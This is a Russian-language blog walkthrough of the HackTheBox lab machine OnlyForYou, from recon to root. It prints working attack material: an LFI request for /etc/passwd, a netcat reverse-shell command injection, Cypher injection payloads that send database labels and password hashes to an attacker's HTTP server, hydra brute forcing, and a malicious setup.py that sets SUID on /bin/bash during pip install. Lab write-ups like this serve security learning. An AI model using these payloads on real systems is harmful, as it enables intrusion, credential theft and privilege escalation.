Blog

Разбор HackTheBox – OnlyForYou (Medium)

Сложность:Medium
ОС:Linux
Баллы:35
IP:10.10.11.210
Теги:Code Review, LFI, Python packages management, Cypher injection

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем дополнительный поддомен с возможностью получить исходный код бэкенда. Далее, проанализировав исходный код обнаружена возможность удалённого чтения произвольных файлов целевой машины. В новой, дополненной части исходного кода сервиса была обнаружена возможность инъекции произвольных команд и был получен удалённый доступ www-data. Последующий анализ окружения и доступ к одному из веб-сервисов привёл к возможности инъекции запроса в СУБД Neo4j и раскрытию слабого хэша пароля пользовательской УЗ john на целевой машине, затем был получен флаг. После этого были обнаружены повышенные права на исполнение команды по установке пакетов с помощью pip3, подготовлена и загружена полезная нагрузка, что привело к успешному получению флага пользователя root.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.210

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.210

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
|   256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_  256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)

Сразу же добавим домен в /etc/hosts:

# HTB
10.10.11.210    only4you.htb

Далее, просмотрим основные разделы страницы на предмет полезной информации:

Потенциальные имена внутренних пользователей сервиса: Walter White, Sarah Jhonson, William Anderson, Amanda Jepson

Далее осуществим сканирование поддоменов доступных в сервисе на предмет полезного лута, для этого можем использовать любой другой сканер на ваше усмотрение:

ffuf -u http://only4you.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST:FUZZ.only4you.htb"  -mc all -fw 6 

Получаем следующий результат сканирования:

[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 106ms]
    * FUZZ: beta

Добавим также поддомен beta в файл hosts и проведём разведку его содержимого:

# HTB
10.10.11.210    only4you.htb    beta.only4you.htb

Переходим к сервису beta.only4you.htb:

Повторим сканирование директорий доступных в этом сервисе на предмет уязвимого функционала:

gobuster dir -u http://beta.only4you.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получили следующий результат:

/download             (Status: 405) [Size: 683]
/list                 (Status: 200) [Size: 5934]
/source               (Status: 200) [Size: 12127]
/convert              (Status: 200) [Size: 2760]
/resize               (Status: 200) [Size: 2984]

LFI и анализ исходных кодов сервисов

При попытке доступа к исходным файлам получаем архив без пароля, содержащий следующие файлы:

Проанализировав исходный код каких-то из приложений (предположительно, это инструменты конвертации и изменения размера, которые мы встретили ранее в интерфейсе поддомена beta) выяснили, что в функции /download есть проверка на атаку LFI:

[...]
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
[...]

Попробуем обойти защиту сформировав запрос следующим образом:

curl -i -s -k -X $'POST' \
    -H $'Host: beta.only4you.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0' -H $'Content-Length: 17' \
    --data-binary $'image=/etc/passwd' \
    $'http://beta.only4you.htb/download'

Таким образом можем получить полный список сервисных и пользовательских учётных записей:

Отсюда можем выяснить, что на целевой машине следующие пользовательские учётные записи: neo4j, dev, john, root.

Помощью LFI также можем прочесть содержимое версий файлов app.py и tool.py, которые используются веб-приложении и находятся на целевой машине по следующим путям:

/var/www/only4you.htb/app.py
/var/www/only4you.htb/tool.py

Получение первоначального доступа к машине

Проанализировав содержимое этих файлов также мы обнаружили что для реализации функционала отправки сообщений в файле app.py используется form.py

Прочтём и его с помощью LFI. Наиболее важна для нас следующая часть кода: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

Следуя бизнес логике – эта часть кода должна проверять существует ли введённый домен, но в такой реализации данной проверки возможна инъекция произвольной команды с помощью символа |, поскольку не используются никакие меры по фильтрации спецсимволов или безопасного ввода.

Запрос с полезной нагрузкой будет выглядеть следующим образом:

POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://only4you.htb

name=test&email=test%40website.com+|+rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+your_IP+7331+>/tmp/f&subject=test&message=test

С помощью команды netstat получаем список открытых портов. Ряд обнаруженных портов(3000, 7687 и 8001) могут быть нам интересны.

С помощью команды curl обращаясь последовательно к указанным портам получим, что:

  • 3000 – сервис Gogs, который является разновидностью Git VCS
  • 8001 – веб-приложение с панелью авторизации
  • 7687 – СУБД Neo4j

Далее, с помощью chisel или стандартного функционала утилиты ssh можем осуществить проброс портов (предварительно стоит открыть на своей машине порт 2222):

ssh -N -f -R 3000:localhost:3000 -R 8001:localhost:8001 root@yourIP -p 2222

Анализ веб-сервиса

При попытке доступа к сервису, находящемуся на 8001 мы встречаем панель авторизации. Попробуем провести атаку перебора паролей:

hydra -P /usr/share/seclists/Usernames
/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials
/10k-most-common.txt -f -V -s 8001 localhost http-get

Получили результат: admin:admin

После успешной авторизации нас встречает следующий интерфейс:

Также, в сервисе доступен интерфейс поиска сотрудников:

Ранее, мы обнаружили, что в качестве СУБД используется Neo4j, это может нам помочь в дальнейших поисках вектора для получения пользователя целевой машины.

Cypher Injection и получение УД пользователя

После поисков возможных инъекций в запросы используемой СУБД Neo4j обнаружим, что мы можем ввести следующий запрос в поле поиска для проверки возможности инъекций(для проверки успешности нужно также поднять http сервер на Python с помощью python3 -m http.server yourPort):

Sarah'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://yourIP:freePort/?label='+label as l RETURN 0 as _0 //

Получаем следующий вывод:

Serving HTTP on 0.0.0.0 port yourPort (http://0.0.0.0:yourPort/)
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -

Инъекция отработала успешно, теперь осуществим вывод ключей посредством следующей инъекции (также предварительно запустив http сервер):

Sarah' MATCH (o:user) WHERE o.username =~ '.*' WITH collect(o.password) AS a LOAD CSV FROM 'http://yourIP:freePort/'+a[0] AS c RETURN c /

Получили следующий вывод:

Serving HTTP on 0.0.0.0 port yourPort (http://0.0.0.0:yourPort/)
[...] code 404, message File not found
[...] "GET /8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 404 -
[...] code 404, message File not found
[...] "GET /a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 404 - 

Воспользовавшись сервисом CrackStation расшифровываем данные значений хэшей SHA256:

Проверим полученный пароль с пользователем john:ThisIs4You

Получили доступ к пользователю и его флагу!

Повышение до root

На своей локальной машине проксируем удалённый порт целевой машины с помощью полученной УЗ пользователя john:

ssh john@10.10.11.210 -L 3000:127.0.0.1:3000 -N

Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root:

sudo -l

Исходя из вывода мы можем понять, что есть возможность запуска pip3 с правами пользователя root с целью загрузки пакетов архивированных в формате .tar.gz.

При поиске уязвимостей, связанных с установкой pip-пакетов был обнаружен следующий вектор атаки:

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

Установим необходимый проект с GitHub и сформируем полезную нагрузку согласно инструкции в статье:

Создадим файл setup.py с полезной нагрузкой для повышения привилегий:

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",  
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

С помощью следующей команды создадим необходимый для загрузки архив: python3 setup.py sdist bdist_wheel

В поддиректории ../dist/pwnpack-0.0.1.tar.gz будет находиться наша полезная нагрузка.

Далее, исследуем сервис, который мы ранее проксировали на локальный порт 3000:

Это сервис по контролю версий, развёрнутый на целевой машине. Если попытаться авторизоваться с теми же данными УЗ, с которыми мы подключились по протоколу SSH – то мы сможем попасть внутрь сервиса и создать новый проект. Этот проект должен состоять из файлов README.md и самой полезной нагрузки, которая была сформирована ранее:

Теперь попытаемся исполнить команду, полученную с помощью sudo -l:

Эксплоит успешно отработал, мы смогли повысить права пользователя и получить флаг пользователя root!

Ссылки:

https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j

https://book.hacktricks.xyz/pentesting-web/command-injection